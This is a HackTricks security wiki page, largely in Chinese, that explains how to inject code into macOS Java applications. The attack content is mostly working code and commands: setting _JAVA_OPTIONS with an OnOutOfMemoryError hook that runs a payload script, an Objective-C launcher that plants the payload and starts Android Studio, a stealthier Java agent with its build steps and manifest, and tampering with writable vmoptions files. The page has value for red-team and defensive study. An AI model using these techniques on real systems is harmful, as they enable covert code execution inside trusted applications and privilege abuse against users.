macOS Java Applications Injection

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Enumeration

查找安装在系统中的Java应用程序。注意到Info.plist中的Java应用程序将包含一些包含字符串**java.**的java参数，因此您可以搜索该字符串：

# Search only in /Applications folder
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null

# Full search
sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null

_JAVA_OPTIONS

环境变量 _JAVA_OPTIONS 可用于在执行编译的 Java 应用程序时注入任意 Java 参数：

# Write your payload in a script called /tmp/payload.sh
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"

要将其作为新进程而不是当前终端的子进程执行，可以使用：

#import <Foundation/Foundation.h>
// clang -fobjc-arc -framework Foundation invoker.m -o invoker

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Specify the file path and content
NSString *filePath = @"/tmp/payload.sh";
NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2";

NSError *error = nil;

// Write content to the file
BOOL success = [content writeToFile:filePath
atomically:YES
encoding:NSUTF8StringEncoding
error:&error];

if (!success) {
NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
return 1;
}

NSLog(@"File written successfully to %@", filePath);

// Create a new task
NSTask *task = [[NSTask alloc] init];

/// Set the task's launch path to use the 'open' command
[task setLaunchPath:@"/usr/bin/open"];

// Arguments for the 'open' command, specifying the path to Android Studio
[task setArguments:@[@"/Applications/Android Studio.app"]];

// Define custom environment variables
NSDictionary *customEnvironment = @{
@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
};

// Get the current environment and merge it with custom variables
NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
[environment addEntriesFromDictionary:customEnvironment];

// Set the task's environment
[task setEnvironment:environment];

// Launch the task
[task launch];
}
return 0;
}

然而，这会在执行的应用程序上触发错误，另一种更隐蔽的方法是创建一个 Java 代理并使用：

export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"

# Or

open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"

使用与应用程序不同的 Java 版本创建代理可能会导致代理和应用程序的执行崩溃

代理可以是：

Agent.java

import java.io.*;
import java.lang.instrument.*;

public class Agent {
public static void premain(String args, Instrumentation inst) {
try {
String[] commands = new String[] { "/usr/bin/open", "-a", "Calculator" };
Runtime.getRuntime().exec(commands);
}
catch (Exception err) {
err.printStackTrace();
}
}
}

要编译代理，请运行：

javac Agent.java # Create Agent.class
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar

使用 manifest.txt：

Premain-Class: Agent
Agent-Class: Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

然后导出环境变量并运行 Java 应用程序，如：

export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"

# Or

open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"

vmoptions 文件

此文件支持在执行 Java 时指定 Java 参数。您可以使用之前的一些技巧来更改 Java 参数并 使进程执行任意命令。 此外，此文件还可以使用 include 目录 包含其他文件，因此您也可以更改包含的文件。

更重要的是，一些 Java 应用程序会 加载多个 vmoptions 文件。

一些应用程序，如 Android Studio，会在其 输出中指示它们正在查找 这些文件的位置，例如：

/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions

2023-12-13 19:53:23.920 studio[74913:581359] fullFileName is: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.920 studio[74913:581359] fullFileName exists: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.920 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.921 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app.vmoptions
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions

如果他们没有，你可以轻松检查：

# Monitor
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal

# Launch the Java app
/Applications/Android\ Studio.app/Contents/MacOS/studio

注意，在这个例子中，Android Studio 正在尝试加载文件 /Applications/Android Studio.app.vmoptions，这是任何来自 admin 组的用户都有写入权限 的地方。